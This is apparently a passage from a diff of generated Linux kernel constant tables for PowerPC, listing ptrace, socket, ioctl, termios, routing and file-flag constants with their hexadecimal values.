-- PTRACE_SETREGSET = 0x4205
-- PTRACE_SETSIGINFO = 0x4203
-- PTRACE_SETSIGMASK = 0x420b
-- PTRACE_SETVRREGS = 0x13
-- PTRACE_SETVSRREGS = 0x1c
-- PTRACE_SET_DEBUGREG = 0x1a
-- PTRACE_SINGLEBLOCK = 0x100
-- PTRACE_SINGLESTEP = 0x9
-- PTRACE_SYSCALL = 0x18
-- PTRACE_TRACEME = 0x0
-- PT_CCR = 0x26
-- PT_CTR = 0x23
-- PT_DAR = 0x29
-- PT_DSCR = 0x2c
-- PT_DSISR = 0x2a
-- PT_FPR0 = 0x30
-- PT_FPSCR = 0x50
-- PT_LNK = 0x24
-- PT_MSR = 0x21
-- PT_NIP = 0x20
-- PT_ORIG_R3 = 0x22
-- PT_R0 = 0x0
-- PT_R1 = 0x1
-- PT_R10 = 0xa
-- PT_R11 = 0xb
-- PT_R12 = 0xc
-- PT_R13 = 0xd
-- PT_R14 = 0xe
-- PT_R15 = 0xf
-- PT_R16 = 0x10
-- PT_R17 = 0x11
-- PT_R18 = 0x12
-- PT_R19 = 0x13
-- PT_R2 = 0x2
-- PT_R20 = 0x14
-- PT_R21 = 0x15
-- PT_R22 = 0x16
-- PT_R23 = 0x17
-- PT_R24 = 0x18
-- PT_R25 = 0x19
-- PT_R26 = 0x1a
-- PT_R27 = 0x1b
-- PT_R28 = 0x1c
-- PT_R29 = 0x1d
-- PT_R3 = 0x3
-- PT_R30 = 0x1e
-- PT_R31 = 0x1f
-- PT_R4 = 0x4
-- PT_R5 = 0x5
-- PT_R6 = 0x6
-- PT_R7 = 0x7
-- PT_R8 = 0x8
-- PT_R9 = 0x9
-- PT_REGS_COUNT = 0x2c
-- PT_RESULT = 0x2b
-- PT_SOFTE = 0x27
-- PT_TRAP = 0x28
-- PT_VR0 = 0x52
-- PT_VRSAVE = 0x94
-- PT_VSCR = 0x93
-- PT_VSR0 = 0x96
-- PT_VSR31 = 0xd4
-- PT_XER = 0x25
-- RLIMIT_AS = 0x9
-- RLIMIT_CORE = 0x4
-- RLIMIT_CPU = 0x0
-- RLIMIT_DATA = 0x2
-- RLIMIT_FSIZE = 0x1
-- RLIMIT_LOCKS = 0xa
-- RLIMIT_MEMLOCK = 0x8
-- RLIMIT_MSGQUEUE = 0xc
-- RLIMIT_NICE = 0xd
-- RLIMIT_NOFILE = 0x7
-- RLIMIT_NPROC = 0x6
-- RLIMIT_RSS = 0x5
-- RLIMIT_RTPRIO = 0xe
-- RLIMIT_RTTIME = 0xf
-- RLIMIT_SIGPENDING = 0xb
-- RLIMIT_STACK = 0x3
-- RLIM_INFINITY = -0x1
-- RTAX_ADVMSS = 0x8
-- RTAX_CC_ALGO = 0x10
-- RTAX_CWND = 0x7
-- RTAX_FEATURES = 0xc
-- RTAX_FEATURE_ALLFRAG = 0x8
-- RTAX_FEATURE_ECN = 0x1
-- RTAX_FEATURE_MASK = 0xf
-- RTAX_FEATURE_SACK = 0x2
-- RTAX_FEATURE_TIMESTAMP = 0x4
-- RTAX_HOPLIMIT = 0xa
-- RTAX_INITCWND = 0xb
-- RTAX_INITRWND = 0xe
-- RTAX_LOCK = 0x1
-- RTAX_MAX = 0x10
-- RTAX_MTU = 0x2
-- RTAX_QUICKACK = 0xf
-- RTAX_REORDERING = 0x9
-- RTAX_RTO_MIN = 0xd
-- RTAX_RTT = 0x4
-- RTAX_RTTVAR = 0x5
-- RTAX_SSTHRESH = 0x6
-- RTAX_UNSPEC = 0x0
-- RTAX_WINDOW = 0x3
-- RTA_ALIGNTO = 0x4
-- RTA_MAX = 0x19
-- RTCF_DIRECTSRC = 0x4000000
-- RTCF_DOREDIRECT = 0x1000000
-- RTCF_LOG = 0x2000000
-- RTCF_MASQ = 0x400000
-- RTCF_NAT = 0x800000
-- RTCF_VALVE = 0x200000
-- RTF_ADDRCLASSMASK = 0xf8000000
-- RTF_ADDRCONF = 0x40000
-- RTF_ALLONLINK = 0x20000
-- RTF_BROADCAST = 0x10000000
-- RTF_CACHE = 0x1000000
-- RTF_DEFAULT = 0x10000
-- RTF_DYNAMIC = 0x10
-- RTF_FLOW = 0x2000000
-- RTF_GATEWAY = 0x2
-- RTF_HOST = 0x4
-- RTF_INTERFACE = 0x40000000
-- RTF_IRTT = 0x100
-- RTF_LINKRT = 0x100000
-- RTF_LOCAL = 0x80000000
-- RTF_MODIFIED = 0x20
-- RTF_MSS = 0x40
-- RTF_MTU = 0x40
-- RTF_MULTICAST = 0x20000000
-- RTF_NAT = 0x8000000
-- RTF_NOFORWARD = 0x1000
-- RTF_NONEXTHOP = 0x200000
-- RTF_NOPMTUDISC = 0x4000
-- RTF_POLICY = 0x4000000
-- RTF_REINSTATE = 0x8
-- RTF_REJECT = 0x200
-- RTF_STATIC = 0x400
-- RTF_THROW = 0x2000
-- RTF_UP = 0x1
-- RTF_WINDOW = 0x80
-- RTF_XRESOLVE = 0x800
-- RTM_BASE = 0x10
-- RTM_DELACTION = 0x31
-- RTM_DELADDR = 0x15
-- RTM_DELADDRLABEL = 0x49
-- RTM_DELLINK = 0x11
-- RTM_DELMDB = 0x55
-- RTM_DELNEIGH = 0x1d
-- RTM_DELNSID = 0x59
-- RTM_DELQDISC = 0x25
-- RTM_DELROUTE = 0x19
-- RTM_DELRULE = 0x21
-- RTM_DELTCLASS = 0x29
-- RTM_DELTFILTER = 0x2d
-- RTM_F_CLONED = 0x200
-- RTM_F_EQUALIZE = 0x400
-- RTM_F_LOOKUP_TABLE = 0x1000
-- RTM_F_NOTIFY = 0x100
-- RTM_F_PREFIX = 0x800
-- RTM_GETACTION = 0x32
-- RTM_GETADDR = 0x16
-- RTM_GETADDRLABEL = 0x4a
-- RTM_GETANYCAST = 0x3e
-- RTM_GETDCB = 0x4e
-- RTM_GETLINK = 0x12
-- RTM_GETMDB = 0x56
-- RTM_GETMULTICAST = 0x3a
-- RTM_GETNEIGH = 0x1e
-- RTM_GETNEIGHTBL = 0x42
-- RTM_GETNETCONF = 0x52
-- RTM_GETNSID = 0x5a
-- RTM_GETQDISC = 0x26
-- RTM_GETROUTE = 0x1a
-- RTM_GETRULE = 0x22
-- RTM_GETSTATS = 0x5e
-- RTM_GETTCLASS = 0x2a
-- RTM_GETTFILTER = 0x2e
-- RTM_MAX = 0x5f
-- RTM_NEWACTION = 0x30
-- RTM_NEWADDR = 0x14
-- RTM_NEWADDRLABEL = 0x48
-- RTM_NEWLINK = 0x10
-- RTM_NEWMDB = 0x54
-- RTM_NEWNDUSEROPT = 0x44
-- RTM_NEWNEIGH = 0x1c
-- RTM_NEWNEIGHTBL = 0x40
-- RTM_NEWNETCONF = 0x50
-- RTM_NEWNSID = 0x58
-- RTM_NEWPREFIX = 0x34
-- RTM_NEWQDISC = 0x24
-- RTM_NEWROUTE = 0x18
-- RTM_NEWRULE = 0x20
-- RTM_NEWSTATS = 0x5c
-- RTM_NEWTCLASS = 0x28
-- RTM_NEWTFILTER = 0x2c
-- RTM_NR_FAMILIES = 0x14
-- RTM_NR_MSGTYPES = 0x50
-- RTM_SETDCB = 0x4f
-- RTM_SETLINK = 0x13
-- RTM_SETNEIGHTBL = 0x43
-- RTNH_ALIGNTO = 0x4
-- RTNH_COMPARE_MASK = 0x19
-- RTNH_F_DEAD = 0x1
-- RTNH_F_LINKDOWN = 0x10
-- RTNH_F_OFFLOAD = 0x8
-- RTNH_F_ONLINK = 0x4
-- RTNH_F_PERVASIVE = 0x2
-- RTN_MAX = 0xb
-- RTPROT_BABEL = 0x2a
-- RTPROT_BIRD = 0xc
-- RTPROT_BOOT = 0x3
-- RTPROT_DHCP = 0x10
-- RTPROT_DNROUTED = 0xd
-- RTPROT_GATED = 0x8
-- RTPROT_KERNEL = 0x2
-- RTPROT_MROUTED = 0x11
-- RTPROT_MRT = 0xa
-- RTPROT_NTK = 0xf
-- RTPROT_RA = 0x9
-- RTPROT_REDIRECT = 0x1
-- RTPROT_STATIC = 0x4
-- RTPROT_UNSPEC = 0x0
-- RTPROT_XORP = 0xe
-- RTPROT_ZEBRA = 0xb
-- RT_CLASS_DEFAULT = 0xfd
-- RT_CLASS_LOCAL = 0xff
-- RT_CLASS_MAIN = 0xfe
-- RT_CLASS_MAX = 0xff
-- RT_CLASS_UNSPEC = 0x0
-- RUSAGE_CHILDREN = -0x1
-- RUSAGE_SELF = 0x0
-- RUSAGE_THREAD = 0x1
-- SCM_CREDENTIALS = 0x2
-- SCM_RIGHTS = 0x1
-- SCM_TIMESTAMP = 0x1d
-- SCM_TIMESTAMPING = 0x25
-- SCM_TIMESTAMPING_OPT_STATS = 0x36
-- SCM_TIMESTAMPNS = 0x23
-- SCM_WIFI_STATUS = 0x29
-- SECCOMP_MODE_DISABLED = 0x0
-- SECCOMP_MODE_FILTER = 0x2
-- SECCOMP_MODE_STRICT = 0x1
-- SHUT_RD = 0x0
-- SHUT_RDWR = 0x2
-- SHUT_WR = 0x1
-- SIOCADDDLCI = 0x8980
-- SIOCADDMULTI = 0x8931
-- SIOCADDRT = 0x890b
-- SIOCATMARK = 0x8905
-- SIOCBONDCHANGEACTIVE = 0x8995
-- SIOCBONDENSLAVE = 0x8990
-- SIOCBONDINFOQUERY = 0x8994
-- SIOCBONDRELEASE = 0x8991
-- SIOCBONDSETHWADDR = 0x8992
-- SIOCBONDSLAVEINFOQUERY = 0x8993
-- SIOCBRADDBR = 0x89a0
-- SIOCBRADDIF = 0x89a2
-- SIOCBRDELBR = 0x89a1
-- SIOCBRDELIF = 0x89a3
-- SIOCDARP = 0x8953
-- SIOCDELDLCI = 0x8981
-- SIOCDELMULTI = 0x8932
-- SIOCDELRT = 0x890c
-- SIOCDEVPRIVATE = 0x89f0
-- SIOCDIFADDR = 0x8936
-- SIOCDRARP = 0x8960
-- SIOCETHTOOL = 0x8946
-- SIOCGARP = 0x8954
-- SIOCGHWTSTAMP = 0x89b1
-- SIOCGIFADDR = 0x8915
-- SIOCGIFBR = 0x8940
-- SIOCGIFBRDADDR = 0x8919
-- SIOCGIFCONF = 0x8912
-- SIOCGIFCOUNT = 0x8938
-- SIOCGIFDSTADDR = 0x8917
-- SIOCGIFENCAP = 0x8925
-- SIOCGIFFLAGS = 0x8913
-- SIOCGIFHWADDR = 0x8927
-- SIOCGIFINDEX = 0x8933
-- SIOCGIFMAP = 0x8970
-- SIOCGIFMEM = 0x891f
-- SIOCGIFMETRIC = 0x891d
-- SIOCGIFMTU = 0x8921
-- SIOCGIFNAME = 0x8910
-- SIOCGIFNETMASK = 0x891b
-- SIOCGIFPFLAGS = 0x8935
-- SIOCGIFSLAVE = 0x8929
-- SIOCGIFTXQLEN = 0x8942
-- SIOCGIFVLAN = 0x8982
-- SIOCGMIIPHY = 0x8947
-- SIOCGMIIREG = 0x8948
-- SIOCGPGRP = 0x8904
-- SIOCGRARP = 0x8961
-- SIOCGSKNS = 0x894c
-- SIOCGSTAMP = 0x8906
-- SIOCGSTAMPNS = 0x8907
-- SIOCINQ = 0x4004667f
-- SIOCOUTQ = 0x40047473
-- SIOCOUTQNSD = 0x894b
-- SIOCPROTOPRIVATE = 0x89e0
-- SIOCRTMSG = 0x890d
-- SIOCSARP = 0x8955
-- SIOCSHWTSTAMP = 0x89b0
-- SIOCSIFADDR = 0x8916
-- SIOCSIFBR = 0x8941
-- SIOCSIFBRDADDR = 0x891a
-- SIOCSIFDSTADDR = 0x8918
-- SIOCSIFENCAP = 0x8926
-- SIOCSIFFLAGS = 0x8914
-- SIOCSIFHWADDR = 0x8924
-- SIOCSIFHWBROADCAST = 0x8937
-- SIOCSIFLINK = 0x8911
-- SIOCSIFMAP = 0x8971
-- SIOCSIFMEM = 0x8920
-- SIOCSIFMETRIC = 0x891e
-- SIOCSIFMTU = 0x8922
-- SIOCSIFNAME = 0x8923
-- SIOCSIFNETMASK = 0x891c
-- SIOCSIFPFLAGS = 0x8934
-- SIOCSIFSLAVE = 0x8930
-- SIOCSIFTXQLEN = 0x8943
-- SIOCSIFVLAN = 0x8983
-- SIOCSMIIREG = 0x8949
-- SIOCSPGRP = 0x8902
-- SIOCSRARP = 0x8962
-- SIOCWANDEV = 0x894a
-- SOCK_CLOEXEC = 0x80000
-- SOCK_DCCP = 0x6
-- SOCK_DGRAM = 0x2
-- SOCK_IOC_TYPE = 0x89
-- SOCK_NONBLOCK = 0x800
-- SOCK_PACKET = 0xa
-- SOCK_RAW = 0x3
-- SOCK_RDM = 0x4
-- SOCK_SEQPACKET = 0x5
-- SOCK_STREAM = 0x1
-- SOL_AAL = 0x109
-- SOL_ALG = 0x117
-- SOL_ATM = 0x108
-- SOL_CAIF = 0x116
-- SOL_CAN_BASE = 0x64
-- SOL_DCCP = 0x10d
-- SOL_DECNET = 0x105
-- SOL_ICMPV6 = 0x3a
-- SOL_IP = 0x0
-- SOL_IPV6 = 0x29
-- SOL_IRDA = 0x10a
-- SOL_IUCV = 0x115
-- SOL_KCM = 0x119
-- SOL_LLC = 0x10c
-- SOL_NETBEUI = 0x10b
-- SOL_NETLINK = 0x10e
-- SOL_NFC = 0x118
-- SOL_PACKET = 0x107
-- SOL_PNPIPE = 0x113
-- SOL_PPPOL2TP = 0x111
-- SOL_RAW = 0xff
-- SOL_RDS = 0x114
-- SOL_RXRPC = 0x110
-- SOL_SOCKET = 0x1
-- SOL_TCP = 0x6
-- SOL_TIPC = 0x10f
-- SOL_X25 = 0x106
-- SOMAXCONN = 0x80
-- SO_ACCEPTCONN = 0x1e
-- SO_ATTACH_BPF = 0x32
-- SO_ATTACH_FILTER = 0x1a
-- SO_ATTACH_REUSEPORT_CBPF = 0x33
-- SO_ATTACH_REUSEPORT_EBPF = 0x34
-- SO_BINDTODEVICE = 0x19
-- SO_BPF_EXTENSIONS = 0x30
-- SO_BROADCAST = 0x6
-- SO_BSDCOMPAT = 0xe
-- SO_BUSY_POLL = 0x2e
-- SO_CNX_ADVICE = 0x35
-- SO_DEBUG = 0x1
-- SO_DETACH_BPF = 0x1b
-- SO_DETACH_FILTER = 0x1b
-- SO_DOMAIN = 0x27
-- SO_DONTROUTE = 0x5
-- SO_ERROR = 0x4
-- SO_GET_FILTER = 0x1a
-- SO_INCOMING_CPU = 0x31
-- SO_KEEPALIVE = 0x9
-- SO_LINGER = 0xd
-- SO_LOCK_FILTER = 0x2c
-- SO_MARK = 0x24
-- SO_MAX_PACING_RATE = 0x2f
-- SO_NOFCS = 0x2b
-- SO_NO_CHECK = 0xb
-- SO_OOBINLINE = 0xa
-- SO_PASSCRED = 0x14
-- SO_PASSSEC = 0x22
-- SO_PEEK_OFF = 0x2a
-- SO_PEERCRED = 0x15
-- SO_PEERNAME = 0x1c
-- SO_PEERSEC = 0x1f
-- SO_PRIORITY = 0xc
-- SO_PROTOCOL = 0x26
-- SO_RCVBUF = 0x8
-- SO_RCVBUFFORCE = 0x21
-- SO_RCVLOWAT = 0x10
-- SO_RCVTIMEO = 0x12
-- SO_REUSEADDR = 0x2
-- SO_REUSEPORT = 0xf
-- SO_RXQ_OVFL = 0x28
-- SO_SECURITY_AUTHENTICATION = 0x16
-- SO_SECURITY_ENCRYPTION_NETWORK = 0x18
-- SO_SECURITY_ENCRYPTION_TRANSPORT = 0x17
-- SO_SELECT_ERR_QUEUE = 0x2d
-- SO_SNDBUF = 0x7
-- SO_SNDBUFFORCE = 0x20
-- SO_SNDLOWAT = 0x11
-- SO_SNDTIMEO = 0x13
-- SO_TIMESTAMP = 0x1d
-- SO_TIMESTAMPING = 0x25
-- SO_TIMESTAMPNS = 0x23
-- SO_TYPE = 0x3
-- SO_VM_SOCKETS_BUFFER_MAX_SIZE = 0x2
-- SO_VM_SOCKETS_BUFFER_MIN_SIZE = 0x1
-- SO_VM_SOCKETS_BUFFER_SIZE = 0x0
-- SO_VM_SOCKETS_CONNECT_TIMEOUT = 0x6
-- SO_VM_SOCKETS_NONBLOCK_TXRX = 0x7
-- SO_VM_SOCKETS_PEER_HOST_VM_ID = 0x3
-- SO_VM_SOCKETS_TRUSTED = 0x5
-- SO_WIFI_STATUS = 0x29
-- SPLICE_F_GIFT = 0x8
-- SPLICE_F_MORE = 0x4
-- SPLICE_F_MOVE = 0x1
-- SPLICE_F_NONBLOCK = 0x2
-- S_BLKSIZE = 0x200
-- S_IEXEC = 0x40
-- S_IFBLK = 0x6000
-- S_IFCHR = 0x2000
-- S_IFDIR = 0x4000
-- S_IFIFO = 0x1000
-- S_IFLNK = 0xa000
-- S_IFMT = 0xf000
-- S_IFREG = 0x8000
-- S_IFSOCK = 0xc000
-- S_IREAD = 0x100
-- S_IRGRP = 0x20
-- S_IROTH = 0x4
-- S_IRUSR = 0x100
-- S_IRWXG = 0x38
-- S_IRWXO = 0x7
-- S_IRWXU = 0x1c0
-- S_ISGID = 0x400
-- S_ISUID = 0x800
-- S_ISVTX = 0x200
-- S_IWGRP = 0x10
-- S_IWOTH = 0x2
-- S_IWRITE = 0x80
-- S_IWUSR = 0x80
-- S_IXGRP = 0x8
-- S_IXOTH = 0x1
-- S_IXUSR = 0x40
-- TAB0 = 0x0
-- TAB1 = 0x400
-- TAB2 = 0x800
-- TAB3 = 0xc00
-- TABDLY = 0xc00
-- TASKSTATS_CMD_ATTR_MAX = 0x4
-- TASKSTATS_CMD_MAX = 0x2
-- TASKSTATS_GENL_NAME = "TASKSTATS"
-- TASKSTATS_GENL_VERSION = 0x1
-- TASKSTATS_TYPE_MAX = 0x6
-- TASKSTATS_VERSION = 0x8
-- TCFLSH = 0x2000741f
-- TCGETA = 0x40147417
-- TCGETS = 0x402c7413
-- TCIFLUSH = 0x0
-- TCIOFF = 0x2
-- TCIOFLUSH = 0x2
-- TCION = 0x3
-- TCOFLUSH = 0x1
-- TCOOFF = 0x0
-- TCOON = 0x1
-- TCP_CC_INFO = 0x1a
-- TCP_CONGESTION = 0xd
-- TCP_COOKIE_IN_ALWAYS = 0x1
-- TCP_COOKIE_MAX = 0x10
-- TCP_COOKIE_MIN = 0x8
-- TCP_COOKIE_OUT_NEVER = 0x2
-- TCP_COOKIE_PAIR_SIZE = 0x20
-- TCP_COOKIE_TRANSACTIONS = 0xf
-- TCP_CORK = 0x3
-- TCP_DEFER_ACCEPT = 0x9
-- TCP_FASTOPEN = 0x17
-- TCP_INFO = 0xb
-- TCP_KEEPCNT = 0x6
-- TCP_KEEPIDLE = 0x4
-- TCP_KEEPINTVL = 0x5
-- TCP_LINGER2 = 0x8
-- TCP_MAXSEG = 0x2
-- TCP_MAXWIN = 0xffff
-- TCP_MAX_WINSHIFT = 0xe
-- TCP_MD5SIG = 0xe
-- TCP_MD5SIG_MAXKEYLEN = 0x50
-- TCP_MSS = 0x200
-- TCP_MSS_DEFAULT = 0x218
-- TCP_MSS_DESIRED = 0x4c4
-- TCP_NODELAY = 0x1
-- TCP_NOTSENT_LOWAT = 0x19
-- TCP_QUEUE_SEQ = 0x15
-- TCP_QUICKACK = 0xc
-- TCP_REPAIR = 0x13
-- TCP_REPAIR_OPTIONS = 0x16
-- TCP_REPAIR_QUEUE = 0x14
-- TCP_REPAIR_WINDOW = 0x1d
-- TCP_SAVED_SYN = 0x1c
-- TCP_SAVE_SYN = 0x1b
-- TCP_SYNCNT = 0x7
-- TCP_S_DATA_IN = 0x4
-- TCP_S_DATA_OUT = 0x8
-- TCP_THIN_DUPACK = 0x11
-- TCP_THIN_LINEAR_TIMEOUTS = 0x10
-- TCP_TIMESTAMP = 0x18
-- TCP_USER_TIMEOUT = 0x12
-- TCP_WINDOW_CLAMP = 0xa
-- TCSAFLUSH = 0x2
-- TCSBRK = 0x2000741d
-- TCSBRKP = 0x5425
-- TCSETA = 0x80147418
-- TCSETAF = 0x8014741c
-- TCSETAW = 0x80147419
-- TCSETS = 0x802c7414
-- TCSETSF = 0x802c7416
-- TCSETSW = 0x802c7415
-- TCXONC = 0x2000741e
-- TIOCCBRK = 0x5428
-- TIOCCONS = 0x541d
-- TIOCEXCL = 0x540c
-- TIOCGDEV = 0x40045432
-- TIOCGETC = 0x40067412
-- TIOCGETD = 0x5424
-- TIOCGETP = 0x40067408
-- TIOCGEXCL = 0x40045440
-- TIOCGICOUNT = 0x545d
-- TIOCGLCKTRMIOS = 0x5456
-- TIOCGLTC = 0x40067474
-- TIOCGPGRP = 0x40047477
-- TIOCGPKT = 0x40045438
-- TIOCGPTLCK = 0x40045439
-- TIOCGPTN = 0x40045430
-- TIOCGRS485 = 0x542e
-- TIOCGSERIAL = 0x541e
-- TIOCGSID = 0x5429
-- TIOCGSOFTCAR = 0x5419
-- TIOCGWINSZ = 0x40087468
-- TIOCINQ = 0x4004667f
-- TIOCLINUX = 0x541c
-- TIOCMBIC = 0x5417
-- TIOCMBIS = 0x5416
-- TIOCMGET = 0x5415
-- TIOCMIWAIT = 0x545c
-- TIOCMSET = 0x5418
-- TIOCM_CAR = 0x40
-- TIOCM_CD = 0x40
-- TIOCM_CTS = 0x20
-- TIOCM_DSR = 0x100
-- TIOCM_DTR = 0x2
-- TIOCM_LE = 0x1
-- TIOCM_LOOP = 0x8000
-- TIOCM_OUT1 = 0x2000
-- TIOCM_OUT2 = 0x4000
-- TIOCM_RI = 0x80
-- TIOCM_RNG = 0x80
-- TIOCM_RTS = 0x4
-- TIOCM_SR = 0x10
-- TIOCM_ST = 0x8
-- TIOCNOTTY = 0x5422
-- TIOCNXCL = 0x540d
-- TIOCOUTQ = 0x40047473
-- TIOCPKT = 0x5420
-- TIOCPKT_DATA = 0x0
-- TIOCPKT_DOSTOP = 0x20
-- TIOCPKT_FLUSHREAD = 0x1
-- TIOCPKT_FLUSHWRITE = 0x2
-- TIOCPKT_IOCTL = 0x40
-- TIOCPKT_NOSTOP = 0x10
-- TIOCPKT_START = 0x8
-- TIOCPKT_STOP = 0x4
-- TIOCSBRK = 0x5427
-- TIOCSCTTY = 0x540e
-- TIOCSERCONFIG = 0x5453
-- TIOCSERGETLSR = 0x5459
-- TIOCSERGETMULTI = 0x545a
-- TIOCSERGSTRUCT = 0x5458
-- TIOCSERGWILD = 0x5454
-- TIOCSERSETMULTI = 0x545b
-- TIOCSERSWILD = 0x5455
-- TIOCSER_TEMT = 0x1
-- TIOCSETC = 0x80067411
-- TIOCSETD = 0x5423
-- TIOCSETN = 0x8006740a
-- TIOCSETP = 0x80067409
-- TIOCSIG = 0x80045436
-- TIOCSLCKTRMIOS = 0x5457
-- TIOCSLTC = 0x80067475
-- TIOCSPGRP = 0x80047476
-- TIOCSPTLCK = 0x80045431
-- TIOCSRS485 = 0x542f
-- TIOCSSERIAL = 0x541f
-- TIOCSSOFTCAR = 0x541a
-- TIOCSTART = 0x2000746e
-- TIOCSTI = 0x5412
-- TIOCSTOP = 0x2000746f
-- TIOCSWINSZ = 0x80087467
-- TIOCVHANGUP = 0x5437
-- TOSTOP = 0x400000
-- TS_COMM_LEN = 0x20
-- TUNATTACHFILTER = 0x801054d5
-- TUNDETACHFILTER = 0x801054d6
-- TUNGETFEATURES = 0x400454cf
-- TUNGETFILTER = 0x401054db
-- TUNGETIFF = 0x400454d2
-- TUNGETSNDBUF = 0x400454d3
-- TUNGETVNETBE = 0x400454df
-- TUNGETVNETHDRSZ = 0x400454d7
-- TUNGETVNETLE = 0x400454dd
-- TUNSETDEBUG = 0x800454c9
-- TUNSETGROUP = 0x800454ce
-- TUNSETIFF = 0x800454ca
-- TUNSETIFINDEX = 0x800454da
-- TUNSETLINK = 0x800454cd
-- TUNSETNOCSUM = 0x800454c8
-- TUNSETOFFLOAD = 0x800454d0
-- TUNSETOWNER = 0x800454cc
-- TUNSETPERSIST = 0x800454cb
-- TUNSETQUEUE = 0x800454d9
-- TUNSETSNDBUF = 0x800454d4
-- TUNSETTXFILTER = 0x800454d1
-- TUNSETVNETBE = 0x800454de
-- TUNSETVNETHDRSZ = 0x800454d8
-- TUNSETVNETLE = 0x800454dc
-- UMOUNT_NOFOLLOW = 0x8
-- VDISCARD = 0x10
-- VEOF = 0x4
-- VEOL = 0x6
-- VEOL2 = 0x8
-- VERASE = 0x2
-- VINTR = 0x0
-- VKILL = 0x3
-- VLNEXT = 0xf
-- VMADDR_CID_ANY = 0xffffffff
-- VMADDR_CID_HOST = 0x2
-- VMADDR_CID_HYPERVISOR = 0x0
-- VMADDR_CID_RESERVED = 0x1
-- VMADDR_PORT_ANY = 0xffffffff
-- VMIN = 0x5
-- VM_SOCKETS_INVALID_VERSION = 0xffffffff
-- VQUIT = 0x1
-- VREPRINT = 0xb
-- VSTART = 0xd
-- VSTOP = 0xe
-- VSUSP = 0xc
-- VSWTC = 0x9
-- VT0 = 0x0
-- VT1 = 0x10000
-- VTDLY = 0x10000
-- VTIME = 0x7
-- VWERASE = 0xa
-- WALL = 0x40000000
-- WCLONE = 0x80000000
-- WCONTINUED = 0x8
-- WEXITED = 0x4
-- WNOHANG = 0x1
-- WNOTHREAD = 0x20000000
-- WNOWAIT = 0x1000000
-- WORDSIZE = 0x40
-- WSTOPPED = 0x2
-- WUNTRACED = 0x2
-- XATTR_CREATE = 0x1
-- XATTR_REPLACE = 0x2
-- XCASE = 0x4000
-- XTABS = 0xc00
-+ B1000000 = 0x17
-+ B115200 = 0x11
-+ B1152000 = 0x18
-+ B1500000 = 0x19
-+ B2000000 = 0x1a
-+ B230400 = 0x12
-+ B2500000 = 0x1b
-+ B3000000 = 0x1c
-+ B3500000 = 0x1d
-+ B4000000 = 0x1e
-+ B460800 = 0x13
-+ B500000 = 0x14
-+ B57600 = 0x10
-+ B576000 = 0x15
-+ B921600 = 0x16
-+ BLKBSZGET = 0x40081270
-+ BLKBSZSET = 0x80081271
-+ BLKFLSBUF = 0x20001261
-+ BLKFRAGET = 0x20001265
-+ BLKFRASET = 0x20001264
-+ BLKGETSIZE = 0x20001260
-+ BLKGETSIZE64 = 0x40081272
-+ BLKPBSZGET = 0x2000127b
-+ BLKRAGET = 0x20001263
-+ BLKRASET = 0x20001262
-+ BLKROGET = 0x2000125e
-+ BLKROSET = 0x2000125d
-+ BLKRRPART = 0x2000125f
-+ BLKSECTGET = 0x20001267
-+ BLKSECTSET = 0x20001266
-+ BLKSSZGET = 0x20001268
-+ BOTHER = 0x1f
-+ BS1 = 0x8000
-+ BSDLY = 0x8000
-+ CBAUD = 0xff
-+ CBAUDEX = 0x0
-+ CIBAUD = 0xff0000
-+ CLOCAL = 0x8000
-+ CR1 = 0x1000
-+ CR2 = 0x2000
-+ CR3 = 0x3000
-+ CRDLY = 0x3000
-+ CREAD = 0x800
-+ CS6 = 0x100
-+ CS7 = 0x200
-+ CS8 = 0x300
-+ CSIZE = 0x300
-+ CSTOPB = 0x400
-+ ECHOCTL = 0x40
-+ ECHOE = 0x2
-+ ECHOK = 0x4
-+ ECHOKE = 0x1
-+ ECHONL = 0x10
-+ ECHOPRT = 0x20
-+ EFD_CLOEXEC = 0x80000
-+ EFD_NONBLOCK = 0x800
-+ EPOLL_CLOEXEC = 0x80000
-+ EXTPROC = 0x10000000
-+ FF1 = 0x4000
-+ FFDLY = 0x4000
-+ FLUSHO = 0x800000
-+ FS_IOC_ENABLE_VERITY = 0x80806685
-+ FS_IOC_GETFLAGS = 0x40086601
-+ FS_IOC_GET_ENCRYPTION_POLICY = 0x800c6615
-+ FS_IOC_GET_ENCRYPTION_PWSALT = 0x80106614
-+ FS_IOC_SET_ENCRYPTION_POLICY = 0x400c6613
-+ F_GETLK = 0x5
-+ F_GETLK64 = 0xc
-+ F_GETOWN = 0x9
-+ F_RDLCK = 0x0
-+ F_SETLK = 0x6
-+ F_SETLK64 = 0xd
-+ F_SETLKW = 0x7
-+ F_SETLKW64 = 0xe
-+ F_SETOWN = 0x8
-+ F_UNLCK = 0x2
-+ F_WRLCK = 0x1
-+ HUPCL = 0x4000
-+ ICANON = 0x100
-+ IEXTEN = 0x400
-+ IN_CLOEXEC = 0x80000
-+ IN_NONBLOCK = 0x800
-+ IOCTL_VM_SOCKETS_GET_LOCAL_CID = 0x200007b9
-+ ISIG = 0x80
-+ IUCLC = 0x1000
-+ IXOFF = 0x400
-+ IXON = 0x200
-+ MAP_ANON = 0x20
-+ MAP_ANONYMOUS = 0x20
-+ MAP_DENYWRITE = 0x800
-+ MAP_EXECUTABLE = 0x1000
-+ MAP_GROWSDOWN = 0x100
-+ MAP_HUGETLB = 0x40000
-+ MAP_LOCKED = 0x80
-+ MAP_NONBLOCK = 0x10000
-+ MAP_NORESERVE = 0x40
-+ MAP_POPULATE = 0x8000
-+ MAP_STACK = 0x20000
-+ MAP_SYNC = 0x80000
-+ MCL_CURRENT = 0x2000
-+ MCL_FUTURE = 0x4000
-+ MCL_ONFAULT = 0x8000
-+ NFDBITS = 0x40
-+ NL2 = 0x200
-+ NL3 = 0x300
-+ NLDLY = 0x300
-+ NOFLSH = 0x80000000
-+ NS_GET_NSTYPE = 0x2000b703
-+ NS_GET_OWNER_UID = 0x2000b704
-+ NS_GET_PARENT = 0x2000b702
-+ NS_GET_USERNS = 0x2000b701
-+ OLCUC = 0x4
-+ ONLCR = 0x2
-+ O_APPEND = 0x400
-+ O_ASYNC = 0x2000
-+ O_CLOEXEC = 0x80000
-+ O_CREAT = 0x40
-+ O_DIRECT = 0x20000
-+ O_DIRECTORY = 0x4000
-+ O_DSYNC = 0x1000
-+ O_EXCL = 0x80
-+ O_FSYNC = 0x101000
-+ O_LARGEFILE = 0x0
-+ O_NDELAY = 0x800
-+ O_NOATIME = 0x40000
-+ O_NOCTTY = 0x100
-+ O_NOFOLLOW = 0x8000
-+ O_NONBLOCK = 0x800
-+ O_PATH = 0x200000
-+ O_RSYNC = 0x101000
-+ O_SYNC = 0x101000
-+ O_TMPFILE = 0x404000
-+ O_TRUNC = 0x200
-+ PARENB = 0x1000
-+ PARODD = 0x2000
-+ PENDIN = 0x20000000
